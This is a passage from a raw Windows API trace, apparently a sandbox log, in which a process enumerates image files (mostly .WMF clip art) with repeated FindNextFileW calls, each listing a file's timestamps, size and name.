lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb8de800, ftCreationTime.dwHighDateTime=0x1beb2f7, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb8de800, ftLastWriteTime.dwHighDateTime=0x1beb2f7, nFileSizeHigh=0x0, nFileSizeLow=0x158c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0252349.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdf2000, ftCreationTime.dwHighDateTime=0x1beccca, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3fdf2000, ftLastWriteTime.dwHighDateTime=0x1beccca, nFileSizeHigh=0x0, nFileSizeLow=0xed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0278882.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecd0c800, ftCreationTime.dwHighDateTime=0x1bee443, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xecd0c800, ftLastWriteTime.dwHighDateTime=0x1bee443, nFileSizeHigh=0x0, nFileSizeLow=0x4ffa, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0281904.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1a4f200, ftCreationTime.dwHighDateTime=0x1bed3d9, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe1a4f200, ftLastWriteTime.dwHighDateTime=0x1bed3d9, nFileSizeHigh=0x0, nFileSizeLow=0x4dc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0283209.GIF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ae3400, ftCreationTime.dwHighDateTime=0x1bea1cc, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7ae3400, ftLastWriteTime.dwHighDateTime=0x1bea1cc, nFileSizeHigh=0x0, nFileSizeLow=0x62e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0284916.JPG", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa68bc300, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa68bc300, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x7876, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285360.WMF", cAlternateFileName="")) returned 1 [0069.055] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd63acb00, ftCreationTime.dwHighDateTime=0x1befd79, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd63acb00, ftLastWriteTime.dwHighDateTime=0x1befd79, nFileSizeHigh=0x0, nFileSizeLow=0x30e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285410.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d5a00, ftCreationTime.dwHighDateTime=0x1befd7a, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x97d5a00, ftLastWriteTime.dwHighDateTime=0x1befd7a, nFileSizeHigh=0x0, nFileSizeLow=0x2448, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285444.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d3c7300, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d3c7300, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x2a12, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285698.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ecd1e00, ftCreationTime.dwHighDateTime=0x1befd7b, ftLastAccessTime.dwLowDateTime=0xbd5d1680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9ecd1e00, ftLastWriteTime.dwHighDateTime=0x1befd7b, nFileSizeHigh=0x0, nFileSizeLow=0x958c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285750.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95908100, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x95908100, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x3452, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0285926.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf49a800, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbf49a800, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286034.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5efff00, ftCreationTime.dwHighDateTime=0x1befd7c, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd5efff00, ftLastWriteTime.dwHighDateTime=0x1befd7c, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0286068.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa019c00, ftCreationTime.dwHighDateTime=0x1bef57a, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa019c00, ftLastWriteTime.dwHighDateTime=0x1bef57a, nFileSizeHigh=0x0, nFileSizeLow=0xb21e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287005.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x948c7400, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x948c7400, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x76ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0291984.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9003000, ftCreationTime.dwHighDateTime=0x1bf1521, ftLastAccessTime.dwLowDateTime=0xbd5f77e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc9003000, ftLastWriteTime.dwHighDateTime=0x1bf1521, nFileSizeHigh=0x0, nFileSizeLow=0x7148, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292020.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x78a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293238.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c285600, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9c285600, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x88e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293240.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47a99d00, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x47a99d00, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x92c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293570.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0911500, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb0911500, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x15ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293828.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7b82300, ftCreationTime.dwHighDateTime=0x1bf1523, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb7b82300, ftLastWriteTime.dwHighDateTime=0x1bf1523, nFileSizeHigh=0x0, nFileSizeLow=0x812, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293844.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72dc8d00, ftCreationTime.dwHighDateTime=0x1bf0891, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72dc8d00, ftLastWriteTime.dwHighDateTime=0x1bf0891, nFileSizeHigh=0x0, nFileSizeLow=0x29e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0295241.GIF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b4c2400, ftCreationTime.dwHighDateTime=0x1bf2c95, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7b4c2400, ftLastWriteTime.dwHighDateTime=0x1bf2c95, nFileSizeHigh=0x0, nFileSizeLow=0xcd52, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297185.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74beac00, ftCreationTime.dwHighDateTime=0x1bf2c97, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74beac00, ftLastWriteTime.dwHighDateTime=0x1bf2c97, nFileSizeHigh=0x0, nFileSizeLow=0x6db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297551.WMF", cAlternateFileName="")) returned 1 [0069.056] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50170400, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x50170400, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0xa7c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297707.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x848ac000, ftCreationTime.dwHighDateTime=0x1bf2c98, ftLastAccessTime.dwLowDateTime=0xbd643aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x848ac000, ftLastWriteTime.dwHighDateTime=0x1bf2c98, nFileSizeHigh=0x0, nFileSizeLow=0x27ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0297749.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae3dea00, ftCreationTime.dwHighDateTime=0x1bf2c8c, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xae3dea00, ftLastWriteTime.dwHighDateTime=0x1bf2c8c, nFileSizeHigh=0x0, nFileSizeLow=0x197e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298653.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2dcbb900, ftCreationTime.dwHighDateTime=0x1bf2c8d, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2dcbb900, ftLastWriteTime.dwHighDateTime=0x1bf2c8d, nFileSizeHigh=0x0, nFileSizeLow=0x19a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0298897.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15fa3200, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x15fa3200, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x163c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299125.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x375b1e00, ftCreationTime.dwHighDateTime=0x1bf2c99, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x375b1e00, ftLastWriteTime.dwHighDateTime=0x1bf2c99, nFileSizeHigh=0x0, nFileSizeLow=0x23b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299171.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa08f6100, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa08f6100, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x62c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299587.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd2b9900, ftCreationTime.dwHighDateTime=0x1bf2c9a, ftLastAccessTime.dwLowDateTime=0xbd669c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd2b9900, ftLastWriteTime.dwHighDateTime=0x1bf2c9a, nFileSizeHigh=0x0, nFileSizeLow=0x1310, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299611.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e1a5400, ftCreationTime.dwHighDateTime=0x1bf2c9b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5e1a5400, ftLastWriteTime.dwHighDateTime=0x1bf2c9b, nFileSizeHigh=0x0, nFileSizeLow=0x4322, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0299763.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0508500, ftCreationTime.dwHighDateTime=0x1bf3a1b, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf0508500, ftLastWriteTime.dwHighDateTime=0x1bf3a1b, nFileSizeHigh=0x0, nFileSizeLow=0x3465, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300520.GIF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b61300, ftCreationTime.dwHighDateTime=0x1bf452c, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf9b61300, ftLastWriteTime.dwHighDateTime=0x1bf452c, nFileSizeHigh=0x0, nFileSizeLow=0x239c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300840.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x616c5e00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x616c5e00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0xdafc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0300912.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb340b00, ftCreationTime.dwHighDateTime=0x1bf452d, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfb340b00, ftLastWriteTime.dwHighDateTime=0x1bf452d, nFileSizeHigh=0x0, nFileSizeLow=0x2fd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301050.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf780800, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf780800, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x224e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301076.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf91e7c00, ftCreationTime.dwHighDateTime=0x1bf452e, ftLastAccessTime.dwLowDateTime=0xbd68fd60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf91e7c00, ftLastWriteTime.dwHighDateTime=0x1bf452e, nFileSizeHigh=0x0, nFileSizeLow=0x953a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301252.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570900, ftCreationTime.dwHighDateTime=0x1bf4530, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5570900, ftLastWriteTime.dwHighDateTime=0x1bf4530, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0301480.WMF", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xced53d00, ftCreationTime.dwHighDateTime=0x1bf4a9f, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xced53d00, ftLastWriteTime.dwHighDateTime=0x1bf4a9f, nFileSizeHigh=0x0, nFileSizeLow=0x5a2b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0302827.JPG", cAlternateFileName="")) returned 1 [0069.057] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33a69b00, ftCreationTime.dwHighDateTime=0x1bf4b65, 